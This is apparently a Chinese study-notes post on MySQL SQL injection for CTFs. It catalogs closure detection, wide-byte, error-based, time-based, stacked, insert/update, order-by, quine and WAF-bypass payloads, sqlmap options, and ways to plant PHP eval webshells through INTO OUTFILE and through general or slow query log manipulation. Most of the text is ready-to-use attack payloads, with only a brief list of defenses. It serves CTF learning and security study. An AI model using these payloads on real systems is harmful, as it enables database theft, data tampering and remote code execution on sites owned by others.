常用闭合方式判断
判断闭合方式,目前掌握的闭合方式为单引号’’,单引号括号(’’),双引号””,双引号括号(“”),都不行的话试试宽字节注入

当单引号或者双引号出现回显或者语法错误时,如何判断是否带括号呢?

抄袭一波大神的判断方式

遇到SQL注入第一步判断闭合:
首先尝试:

?id=1’
?id=1”

1如果都报错,则为整形闭合。

2如果单引号报错,双引号不报错。
然后尝试

?id=1’ –+
?id=1’ #

无报错则单引号闭合。
报错则单引号加括号。

3如果单引号不报错,双引号报错。
然后尝试

?id=1” –+
?id=1” #

无报错则双引号闭合。
报错则双引号加括号。

输入(其中id=1,1是正确的数据库存在的值),正常回显

?id=1 and true –+
或者
?id=true and true –+

输入,错误回显

?id=1 and false –+
或者
?id=true and false –+

那么就是整形闭合

输入(其中id=1,1是正确的数据库存在的值),正常回显

?id=1’ and true –+
或者
?id=true‘ and true –+

输入,错误回显

?id=1’ and false –+
或者
?id=true‘ and false –+

那么就是单引号闭合,其他符号同理

单引号转义绕过
当时用单引号’,代码转义为\’,就使用如下方式替换掉单引号

%df%27
�’
%EF%BF%BD

万能密码

�’ and1=1 #
database()
返回当前数据库名

version()
返回数据库的版本号

CONCAT(s1,s2…sn)
字符串 s1,s2 等多个字符串合并为一个字符串

CONCAT_WS(x, s1,s2…sn)
同 CONCAT(s1,s2,…) 函数,但是每个字符串之间要加上 x,x 可以是分隔符

LIMIT
mysql> SELECT * FROM table LIMIT 5,10; // 检索记录行 6-15

//为了检索从某一个偏移量到记录集的结束所有的记录行,可以指定第二个参数为 -1:
mysql> SELECT * FROM table LIMIT 95,-1; // 检索记录行 96-last.

//如果只给定一个参数,它表示返回最大的记录行数目:
mysql> SELECT * FROM table LIMIT 5; //检索前 5 个记录行

//换句话说,LIMIT n 等价于 LIMIT 0,n。

mid() substr()

Substr()和substring()函数实现的功能是一样的,均为截取字符串。

string substring(string, start, length)

string substr(string, start, length)

参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度

ASCII
返回字符串 s 的第一个字符的 ASCII 码。
返回 CustomerName 字段第一个字母的 ASCII 码:

SELECT ASCII(CustomerName) AS NumCodeOfFirstChar
FROM Customers;

count
返回查询的记录总数,expression 参数是一个字段或者 * 号

返回 Products 表中 products 字段总共有多少条记录:

SELECT COUNT(ProductID) AS NumberOfProducts FROM Products;

所以,只要发现有SQL注入,我们可以操纵SQL语句,将mysql数据库的库,表,字段一个一个查询出来

实在不行的话,试一下弱密码

payload
1
2
3
4
5
6
7
8
9
10
11
-1' or 1=if(ascii(substr((database()),1,1))>1000,0,1)#
-1' or updatexml(1,concat(0x7e,(select group_concat(username) from wfy_admin )),0)#

' or updatexml(1,concat(0x7e,(select(group_concat(text))from(wfy_comments)where(text)regexp('}$')),0x7e),1)%23

%27+or+updatexml%281%2Cconcat%280x7e%2C%28select%28group_concat%28text%29%29from%28wfy_comments%29where%28text%29like%28%27f%%27%29%29%2C0x7e%29%2C1%29%23
/* '+or+updatexml(1,concat(0x7e(select(group_concat(text))from(wfy_comments)where(text)like('f%')),0x7e),1)# */

1'/**/||/**/ST_LatFromGeoHash(concat(0x7e,(select/**/database()),0x7e))/**/||'a'='a

'or/**/if(1,0,0)/**/or/**/benchmark(1000000000,0)#

注意有可能爆出来中文…………,可以直接regexp或者like匹配到flag,或者16进制编码处理一下

1
2
mysql.innodb_table_stats
sys.schema_auto_increment_columns
sqlmap工具的详细使用

注入参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
-u 			#注入点
-g #谷歌搜索
-f #指纹判别数据库类型
-b #获取数据库版本信息
-p #指定可测试的参数(?page=1&id=2 -p"page,id")
-D "" #指定数据库名
-T "" #指定表名
-C "" #指定字段
-s "" #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s “xx.log” -resume)
-columns #列出字段
-current-user #获取当前用户名称
-current-db #获取当前数据库名称
-users #列出数据库所有用户
-passwords #数据库用户所有密码
-privileges #查看用户权限(-privileges -U root)
-U #指定数据库用户
-dbs #列出所有数据库
-tables -D "" #列出指定数据库中的表
-columns -T "user" -D "mysql" #列出mysql数据库中的user表的所有字段
-dump-all #列出所有数据库所有表
-exclude-sysdbs #只列出用户自己新建的数据库和表
-dump -T "" -D "" -C "" #列出指定数据库的表的字段的数据(-dump -T users -D master -C surname)
-dump -T ""-D "" -start 2 -top 4 #列出指定数据库的表的2-4字段的数据
-dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Sever,Microsoft Access, SQLite,Firebird,Sybase,SAP,MaxDB)
-os #指定系统(Linux,Windows)
-sql -shell #写shell
-delay #延迟的时间
-m #可以执行多个url
–lever 3 --risk 5 #调整SQL注入的强度

post传参

抓包,保存为txt文件

1
2
python3 sqlmap.py -r 1.txt -p 参数名
#-r表示加载一个文件,-p指定参数

自定义脚本tamper

image-20220812205150887

insert注入

insert用法

sql语句为

1
INSERT INTO Student VALUES ('bob', '15', '99')

当然也可在指定的列中插入数据,例如

1
INSERT INTO Student(name,age) VALUES ('bob', '15')

同时,insert还可以在数据库查询语句中用作字符串替换,例如:

1
select insert("admin", 1, 1, "");

上述语句查询结果为:

image-20211110082442571

可以看见,insert语句可以将字符串指定位置的指定长度替换为指定字符串,该功能的insert语法为:

1
INSERT(s1,x,len,s2)

其中的s1为目标字符串,x为替换的起始位置,len为替换的长度,s2为替换的字符串。通过改变len的值,可以获取到不同长度的字符串:

image-20211110084334619

image-20211110084405289

insert进行盲注爆破
那么,如果将两个insert套起来,是不是就相当于字符串的分割了呢,在第一个insert得到的字符串在进行一次insert的字符串替换,是不是就相当于字符串分割了,例如,输入语句:

1
2
3
4
5
6
7
select insert(insert("admin", 1, 0, ""), 2, 99999, "");

select insert(insert("admin", 1, 1, ""), 2, 99999, "");

select insert(insert("admin", 1, 2, ""), 2, 99999, "");

select insert(insert("admin", 1, 3, ""), 2, 99999, "");

其运行结果为:

image-20211109215916734

这样,就可以很好的进行盲注的爆破了,并且insert语句也不易被检测到。

1
insert into member(username,id) values('' or updatexml(1,concat(0x7e,(database())),0) or'' , '1')

img

payload

1
2
'' or updatexml(1,concat(0x7e,(命令)),0) or''
'' or extractvalue(1,concat(0x7e,(命令)) or''

img

利用name_const()获取数据

name_const()函数是 MYSQL5.0.12 版本加入的一个返回给定值的函数。当用来产生一个结果集合列时 , NAME_CONST() 促使该列使用给定名称。

Payload:

1
or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or

Insert:

1
INSERT INTO users (id, username, password) VALUES (1,'micgo' or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or '','Nervo');

update:

1
UPDATE users SET password='Nicky' or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or '' WHERE id=2 and username='Nervo';

delete:

1
DELETE FROM users WHERE id=1 or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a)or '';

提取数据:

在最新的MYSQL版本中,使用name_const()函数只能提取到数据库的版本信息。但是在一些比较旧的高于5.0.12(包括5.0.12)的MYSQL版本中,可以进一步提取更多数据。在这里我使用MySQL5.0.45进行演示。

首先,我们做一个简单的SELECT查询,检查我们是否可以提取数据。

1
INSERT INTO users (id, username, password) VALUES (1,'micgo' or (SELECT*FROM(SELECT name_const((SELECT 2),1),name_const((SELECT 2),1))a) or '', 'Nervo');

如果显示ERROR 1210 (HY000): Incorrect arguments to NAME_CONST,那就不行了

如果显示ERROR 1060 (42S21): Duplicate column name ‘2’,就可以进一步获取更多数据

enter image description here

获取newdb数据库表名:

1
2
3
INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 1,1),1),name_const(( SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 1,1),1))a) or '', 'Nervo');

ERROR 1060 (42S21): Duplicate column name 'users'

获取users表的列名:

1
2
3
INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT column_name FROM information_schema.columns WHERE table_name='users' limit 0,1),1),name_const(( SELECT column_name FROM information_schema.columns WHERE table_name='users' limit 0,1),1))a) or '', 'Nervo');

ERROR 1060 (42S21): Duplicate column name 'id'

获取users表的数据:

1
2
3
4
INSERT INTO users (id, username, password) VALUES (2,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT concat_ws(0x7e,id, username, password) FROM users limit 0,1),1),name_const(( SELECT concat_ws(0x7e,id, username, password) FROM users limit
0,1),1))a) or '', 'Nervo');

ERROR 1060 (42S21): Duplicate column name '1~Jane~Eyre'

首先逐个测试闭合点,然后用/* */注释符找出先后顺序,然后进行注入

1
comment=123'/*&name=*/,(select database()),'micgo')%23 & user=123
update注入

update语句的格式一般为:

1
update <table_name> set column = where <条件>
delete注入

delete语句一般为:

1
delete from <table_name> where <条件>

原理还是和上面一样,只是这个要注意一下不要把数据库里面的内容删了,所以一定要保持最后逻辑表达式的结果为假。or连接词慎用。

1
2
1 and sleep(3) 结果为假
1 and updatexml(1,(select concat(’~’,user())),1) 报错最终结果为假

堆叠注入

newstart multiSQL

根据题目翻译考的是堆叠注入,试了一下果然可以,题目要求把火华师傅的四级成绩改到425分以上,发现union,select,update,insert 都被过滤了,这里我们可以利用replace into (替换插入) 进行数据修改,再利用delete删除原数据:

1
2
3
4
5
POST: 
username=%E7%81%AB%E5%8D%8E';show tables;#查数据库里所有的表
username=%E7%81%AB%E5%8D%8E';desc score;#查score表中所有字段
username=%E7%81%AB%E5%8D%8E';replace into score values("火华",200,200,200);#表中插入一条数据
username=%E7%81%AB%E5%8D%8E';delete from score where listen=11;#删除原本的数据

操作完以后,点击验证数据就可以拿到flag,复现的时候注意中文符号以及不要重复多次执行sql语句,有可能有奇奇怪怪的错误。

宽字节注入

宽字节概念
  单字节字符集:所有的字符都使用一个字节来表示,比如 ASCII 编码(0-127)。
  多字节字符集:在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。

  宽字节注入时利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字。

函数addslashes()
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。预定义字符:单引号(’),双引号(”),反斜杠(\)

替换反斜杠,反斜杠的GBK编码为%5C,根据GBK编码在前面加上%DE,%DF,%E0等都可以组成一个汉字,从而把反斜杠给吃掉

1
 Payload:?id=%E0' or sleep(3)%23

延时注入总结

逐字注入

能够截取字符串,同时能触发延时即可!

1
2
Select *from table Where id =1 and (if(substr(database(),1,1)='u', sleep(3), null));
Select * from table where id= 1 and (if(ascii(substr(database(),1,1))=100, sleep(3), null));
BENCHMARK

除了sleep之外的时间延时注入,还有:BENCHMARK(count,expr)

BENCHMARK()函数重复 count次执行表达式expr。它可以被用于计算 MYSQL处理表达式的速度。结果值通常为0。

1
2
select benchmark(100000000,sha(1));
Select * from table where id= 1 and (if(ascii(substr(database(),1,1))=100,benchmark(100000000,sha(1)), null));
笛卡尔积
1
2
select count(*) from user A,user B;
SELECT count (*) FROM information_schema.columns A,information_schema.columns B,information_schema.tables C;
GET_LOCK

除了sleep之外的时间延时注入,还有:GET_LOCK(str,timeout)

函数使用说明:设法使用字符串str给定的名字得到一个锁,超时为timeout秒。

1
Select GET_LOCK('a',10)

注意:设置锁后,需要新开 一 个窗口并且是长连接才会有效。

RLIKE

除了sleep之外的时间延时注入,还有RLKE。

通过 rpad 或 repeat 构造长字符串,加以计算量大的 pattern,通过repeats的参数可以控制延时长短。

1
2
3
4
5
select concat (rpad (1,999999,a),rpad (1,999999,a),rpad(1,999999,a) ,rpad(1,999999,a) 
,rpad(1,999999,a),rpad(1,999999,a),rpad(1,999999,a)
,rpad(1,999999,a),rpad(1,999999,a),rpad(1,999999,a),rpad(1,999999,a),rpad(1,999999,a),rp
ad(1,999999,a) ,rpad (1,999999,a),rpad(1,999999,a),rpad(1,999999,a )) RLIKE '(a.*)+(a.*)+
(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b';

报错注入

报错注入条件: 后台没有屏蔽数据库报错信息,在语法发生错误的时候会输出在前端

常用四个报错函数

1
2
3
4
5
updatexml()    xpath报错注入  updatexml(1,concat(0x7e,database()),0)
extractvalue() xpath报错注入 extracrvalue(0,concat(0x7e,database()))
floor() 取整函数
exp() 函数返回e指数X的幂值,当传递大于709的值时,会引起溢出错误 exp(~(select * from(select user())a))
geometrycollection() multipoint() polygon() multipolygon() linestring() multilinestring() 几何函数报错注入

floor() mysql的一个取整函数

1
id=-1' union select count(*),concat(database(),0x7e,floor(rand(0)*2))a from information_schema.schemata group by a;

image-20230322134455656

分析:

rand()函数可以产生一个在0和1之间的随机数

image-20230322111730857

image-20230322111738048

但当我们提供了一个固定的随机数的种子0之后,每次产生的值都是相同的,称之为伪随机

img floor函数的作用就是返回小于等于括号内该值的最大整数,rand()本身是返回0~1的随机数,但在后面*2就变成了返回0~2之间的随机数,配合上floor函数就可以产生确定的两个数,即0和1,并且结合固定的随机数种子0,它每次产生的随机数列都是相同的值 此处的czs表为含有四行数据的表,结合上述的函数,每次产生的随机数列都是 0 1 1 0 ![img](https://my-blog-1309286065.cos.ap-guangzhou.myqcloud.com/img/1838324-20200430013827951-1006107102.png)

综合使用产生报错select count(*),floor(rand(0)*2)x from czs group by x;

当count(*)和group by x同时执行时,就会爆出duplicate entry错误, 通过 floor 报错的方法来爆数据的本质是 group by 语句的报错

image-20230322133316186

mysql报错注入修复方法:

1
2
3
4
1. 屏蔽能造成报错注入的各种函数
2. 对输入长度做限制,对用户输入做预处理
3. 对各种报错注入的返回结果,统一返回至不包含任何错误提示信息的回显页面
4.使用数据库防火墙,精准分析业务SQL和危险SQL,拦截SQL注入等危险语句

二次注入

在输入的时候进行了处理,但是在取出数据的时候没有进行检验

用户名和密码分开检验

也就是说它是先检验username,把username对应的所有字段都查出来后,再检验密码能不能和查出来的密码对上,检验密码的过程可能会有一个md5的加密

登录验证的流程已经说清楚了,先做一个小测试

如果执行一个查询语句:

1
select * from user where username = 0 union select 1,'admin',md5('abc'); 

则会返回以下结果:

img

这样的话思路就很清晰了,我们先在用户名处输入1' union select 1,'admin','900150983cd24fb0d6963f7d28e17f72'#,得到的是上图的结果。密码处我们再输入一个上图密码md5加密之前的密码也就是abc 即可绕过检验,成功登陆admin账户

Payload:

1
2
username = 1' union select 1,'admin','900150983cd24fb0d6963f7d28e17f72'#
password = abc

SQL注入写shell

into outfile写shell

条件:

1、知道web绝对路径

2、有文件写入权限(一般情况只有root用户有)

3、数据库开启了secure_file_priv设置

secure_file_priv 查询语句:show global variables like "secure%";

1
2
3
NULL   禁止限制操作 
C:\ 值为某一目录,则只能操作该目录下的文件
'' 为空,则表示不对读写文件进行限制,即可以写入任意磁盘文件(区分NULL)

secure_file_priv只能通过设置my.ini来配置,不能通过SQL语言来修改,因为它是只读变量

image-20230322183051771
1
show variables like "%secure%";
image-20230322135516187

然后就能用select into outfile写入webshell

image-20230322140000635

常见手法:

联合注入写入

1
?id=1' union select 1,"<?php @eval($_POST['shell']);?>",3 into outfile 'C:\\phpstudy\\WWW\\sqli\\shell.php'#

dumpfile函数写入

1
?id=1' union select 1,"<?php @eval($_POST['shell']);?>",3 into dumpfile 'C:\\phpstudy\\WWW\\sqli\\shell.php'#

lines terminated by 写入

1
2
?id=1 into outfile 'C:/wamp64/www/shell.php' lines terminated by '<?php phpinfo()?>';
//lines terminated by 可以理解为以每行终止的位置添加xx内容

lines starting by 写入

1
2
?id=1 into outfile 'C:/wamp64/www/shell.php' lines starting by '<?php phpinfo()?>';
//利用 lines starting by 语句拼接webshell的内容。lines starting by可以理解为以每行开始的位置添加xx内容

fields terminated by 写入

1
2
?id=1 into outfile 'C:/wamp64/www/work/shell.php' fields terminated by '<?php phpinfo() ?>';
//利用fields terminated by语句拼接webshell的内容 fields terminated by可以理解为以每个字段的位置添加xx内容

columns terminated by 写入

1
2
?id=1 into outfile 'C:/wamp64/www/shell.php' COLUMNS terminated by '<?php phpinfo() ?>';
//利用fields terminated by语句拼接webshell的内容 columns terminated by 可以理解为以每个字段的位置添加xx内容

sqlmap写入

1
2
写入到 /tmp 目录下 (要写的文件,必须在kali本机里有)
sqlmap -u "http://127.0.0.1/index.php?page=user-info.php&username=a%27f%27v&password=afv&user-info-php-submit-button=View+Account+Details" -p 'username' --file-write="shell.php" --file-dest="/tmp/shell.php"

读文件

1
select load_file('文件名');
image-20230322141028688
日志写shell

MySQL的两个全局变量:

1
2
general_log      日志保存状态,一共有两个值(ON/OFF)
general_log_file 日志的保存路径
image-20230322161018141

如果目前这个general_log为off状态,那么日志就没有被记录进去,所以要先打开这个全局变量

1
set global general_log='on';

打开过后,不管sql语句是否正确,日志文件中都会记录我们写的sql语句

接下来修改general_log_file,可以直接通过SQL语句修改,并且必须修改为如.php后缀的文件,不然马不能被解析

1
set global general_log_file='C:\\phpstudy\\phpstudy_pro\\Extensions\\MySQL5.7.26\\log.php';
image-20230322180312855

接下来使用 select '<?php @eval($_POST[cmd]);?>'; 查询语句,其实就是写马,让日志文件众留下这样一句查询语句

image-20230322180736193

但是最后也要考虑能不能成功的连接到马,像如果secure_file_priv固定为C:\,而网站是搭在D盘上,那把general_log_file修改为C盘下的文件也连接不到,除非还有文件包含漏洞等

这里还得修改日志文件log.php的路径,让他在网站目录下才能成功连接

image-20230322182458681

成功连接

image-20230322182442934
利用条件

条件比较苛刻

(1)union注入在这里行不通。要日志写马能够连接必须要修改general_log_file为比如php后缀的文件,不然马不能被解析,所以必须要先用到set global general_log_file='xx.php';,那么union注入就没机会了,union基本都是?id=1 union select 1,2,select '';这样,不能执行set

(2)有堆叠注入,要先?id=1;set global general_log_file='xx.php';,然后直接执行?id=1;select '木马';

不过要想有堆叠注入的条件,源码中必须要用到mysqli_multi_query()。一般后台查询数据库使用的语句都是用mysql_query(),所以堆叠注入在mysql上不常见。

(3)再者就是成功登录到别人的数据库里了,先set global general_log_file='xx.php';,然后直接执行select '木马';

(4)没有对 ' " 进行过滤,因为outfile后面的物理路径必须要有引号

慢查询日志写shell

MySQL日志主要包含: 错误日志、查询日志、慢查询日志、事务日志。在 5.6.34版本以后secure_file_priv的值默认为NULL

MySQL的慢查询日志是MySQL提供的一种日志记录,它用来记录在MySQL中响应时间超过阀值的语句,long_query_time的默认值为10,意思是运行10S以上的语句。运行时间超过long_query_time值的SQL会被记录到慢查询日志中。使用慢查询主要针对日志量庞大,通过日志文件getshell出现问题的情况

1
2
3
4
show variables like '%slow%';
set GLOBAL slow_query_log_file='C:\\phpstudy\\phpstudy_pro\\WWW\\slow.php'; 日志路径
set GLOBAL slow_query_log=on; 启用慢查询日志
set GLOBAL log_queries_not_using_indexes=on;
image-20230322194438585
1
2
set GLOBAL slow_query_log_file='C:\\phpstudy\\phpstudy_pro\\WWW\\slow.php';   //原理同上
select '<?php phpinfo();?>' or sleep(10);

image-20230322193527824

image-20230322193550168

若对敏感字符进行过滤,可以采用字符串拼接(concat) 字符串替换(replace)

1
2
set global general_log_file =CONCAT("/var/www/html/shell.p","hp"); 
set global general_log_file =REPLACE("/var/www/html/shell.jpg","jpg","php");

quine注入

Quine又叫做自产生程序,在sql注入技术中,这是一种使得输入的sql语句和输出的sql语句一致的技术,常用于一些特殊的登陆绕过sql注入中。

1
2
//官方payload
'/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')

防御注入

预编译和参数绑定

转义单引号,统一php和Mysql的字符集

过滤敏感字符

第三届第五空间yet_another_mysql_injection
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}

上面php代码逻辑实现了一个通过POST提交登录请求的方法,要求username必须为admin,密码需要与查询到的password一致,才能拿到flag

其实如果直接看这道题其实给出了所使用的sql语句,在语句中给出了表user,包括黑名单也在checkSql中都已经给出了,那么按理看这不是一个困难的注入,可以当成一个简单的盲注。通过使用like替换=benchmark(或者其他笛卡儿积等)替换sleepmid替换substr/**/替换Space,使用如下paload即可完成:

1
union select if((select ascii(mid((select group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema like database()),{},1)) like {}),(select benchmark(4999999,md5('test'))),1)#

但是很遗憾,这样注出来user表中没有密码。

如果仔细看题目中这个比较判断的逻辑,我们就可以发现端倪。

1
2
3
4
5
6
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);

if ($row['password'] === $password) {
die($FLAG);

简单来看,要求的是执行$sql的结果与$password相同,那么除了正常逻辑的密码相同会产生相等,如果我们的输入与最后的结果相等,那么一样可以绕过验证。这种技术就是Quine

示例payload:

1
union/**/SELECT/**/REPLACE(REPLACE('"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#',CHAR(34),CHAR(39)),CHAR(46),'"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#')/**/AS/**/ch3ns1r#

这样看起来不是很清楚,我们接下来从内层一步一步拆开看。

从大结构上,这段payload是由两个大REPLACE完成的

1
2
REPLACE ( string_expression , string_pattern , string_replacement )
即将string_expression中所有string_pattern替换为string_replacement

内层REPLACE

1
REPLACE('"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#',CHAR(34),CHAR(39))

我们暂且把它当作A,这里面有个字符串:

1
"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#

我们暂且把它当作B

简化一下最初的payload就是这个样子:

1
2
3
4
5
union/**/SELECT/**/REPLACE(A,CHAR(46),B)/**/AS/**/ch3ns1r#
其中:
A:REPLACE(B,CHAR(34),CHAR(39))
B:
"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#

到这里应该就看的比较清楚了,有点像套娃。A这个形式就是Quine的基本形式,可以描述为如下形式:

1
REPLACE(str,编码的间隔符,str)

str可描述为如下形式:

1
REPLACE(间隔符,编码的间隔符,间隔符)

这样运算后,最后的结果又是:

1
REPLACE(str,编码的间隔符,str)

我们举个例子加深理解,设间隔符为'.',编码的间隔符为CHAR(46),那么str为:

1
REPLACE(".",CHAR(46),".")

放入最后的语句为:

1
REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")')

执行的结果为(先执行的CHAR(46)):

1
REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")')

(注意以上的语句还没有考虑存在单双引号的情况)

这样就达到了输入与输出一致的效果。

1
2
3
4
5
6
7
 MySQL  localhost:3306 ssl  SQL > SELECT REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")');
+---------------------------------------------------------------------------+
| REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")') |
+---------------------------------------------------------------------------+
| REPLACE("REPLACE(".",CHAR(46),".")",CHAR(46),"REPLACE(".",CHAR(46),".")") |
+---------------------------------------------------------------------------+
1 row in set (0.0005 sec)

解决单双引号

细心点的话就会发现,这里还存在单双引号的问题,我们重新考虑存在单双引号的情况。

Quine的基本形式:

1
REPLACE('str',编码的间隔符,'str')

str描述为如下形式:

1
REPLACE("间隔符",编码的间隔符,"间隔符")

这里str中的间隔符使用双引号的原因是,str已经被单引号包裹,为避免引入新的转义符号,间隔符需要使用双引号。

运算后的结果是:

1
REPLACE("str",编码的间隔符,"str")

但是我们希望str仍然使用单引号包裹,怎么办?

我们这样考虑,如果先使用REPLACEstr的双引号换成单引号,这样最后就不会出现引号不一致的情况了。

Quine的升级版基本形式:

1
REPLACE(REPLACE('str',CHAR(34),CHAR(39)),编码的间隔符,'str')

str的升级版形式:

1
REPLACE(REPLACE("间隔符",CHAR(34),CHAR(39)),编码的间隔符,"间隔符")

这里的CHAR(34)是双引号,CHAR(39)是单引号,如果CHAR被禁了0x220x27是一样的效果。

这里我们慢一点。

第一步:

1
2
3
REPLACE(REPLACE("间隔符",CHAR(34),CHAR(39)),编码的间隔符,"间隔符")
变成了
REPLACE(REPLACE('间隔符',CHAR(34),CHAR(39)),编码的间隔符,'间隔符')

第二步:

1
2
3
REPLACE('单引号str',编码的间隔符,'str')
变成了
REPLACE(REPLACE('str',CHAR(34),CHAR(39)),编码的间隔符,'str')

我们同样举刚才的例子,设间隔符为'.',编码的间隔符为CHAR(46),那么str为:

1
REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")

放入最后的语句为:

1
REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")')

执行的结果为(先执行的内层REPLACE):

1
REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")')

实际结果:

1
2
3
4
5
6
7
 MySQL  localhost:3306 ssl  SQL > SELECT REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")');
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.0004 sec)

现在就完全一致了。

排序注入

在SQL语言中,Order By语句主要用于对结果集进行排序。既然跟数据库交互有关,自然而然就会想到SQL注入的防护问题,第一时间想到的方案就是预编译了。但是采用预编译执行SQL语句传入的参数不能作为SQL语句的一部分,,那么Order By后的字段名、或者是 desc\asc 也不能预编译处理,那么也就是说Order By场景的排序规则还是只能使用拼接,这时候如果在开发阶段没有处理好,那么就很可能导致SQL注入问题了。排序也一直是注入的重灾区。

挖掘思路

存在关键参数值 desc

如下图

img

检测方法

1
2
3
4
5
,1 && ,0

,1/1 && ,1/0

,exp(71) && ,exp(710)

异或

三、排序注入挖掘

这里使用的是 exp() //数值大于709就会溢出

Poc: AdminID+desc,exp(7)

img

Poc:AdminID+desc,exp(710)

img

此时不难发现,溢出时,响应时间比较长

所以在盲注中,建议条件为真时溢出

Poc 开始变形

Poc:AdminID+desc,if(user()+like+’r%’,exp(710),exp(7))

img

Poc:AdminID+desc,if(user()+like+’c%’,exp(710),exp(7))

img

四、排序注入—补充

1、因果的因

最近碰到挺多排序注入(关键字:orderby,desc,asc等)构造的poc大多为

1
2
3
1,if(1,exp(789),1)

1,case+when+hex(mid(user(),1,1))=63+then+exp(789)+else+exp(0)+end

(poc的书写取决于站点是否对相关函数、单引号有所拦截)

总之都是利用盲注的方式来获取数据,从基础的poc fuzz到poc2、poc3甚至poc4,取决于waf的强弱、个人习惯。

2、因果的果

图一是使用报错注入获取用户名

img

图二是验证此poc是否可用(图一图二是同一系统不同的注入点)

img

图三是在有waf的情况下使用

img

无列名注入

1
0'union/**/select/**/1,2,group_concat(`1`)/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a/**/union/**/select/**/1,2,3/**/'1

NCTF2022

mod_security防火墙

NCTF遇到的一个很恶心的waf

用1.e可以绕过

image-20221205120416138
1
2
-1 or  1.e(updatexml(1,concat(0x7,substring((select(password)from info),1,50)),0))  
或者 1^(1.e(ascii 1.e(substr(1.e(select password from info where id =1) 1.e,2 1.e,1 1.e)1.e)1.e) =99)
image-20221205120354336

sqlmap一把嗦……靠

image-20221206142016908

官方payload

1
@.:=right(right((select hex(password) from users.info where id =1 limit 0,1),1111),1111) union%23%0adistinctrow%0bselect@.

不过还是能学到一种新姿势 gtid_subset()

1
gtid_subset(concat(0x7e,(select/**/database/**/()),0x7e),71)

新型sql

foodAPI存在语法bug,参考这道题目:https://blog.huli.tw/2022/10/31/hacklu-ctf-2022-writeup/

这两种不会出错

1
2
select id from food where `not_exist'` and 0 union select 1; 
select id from food where `not_exist'` in () union select 1;

payload:

1
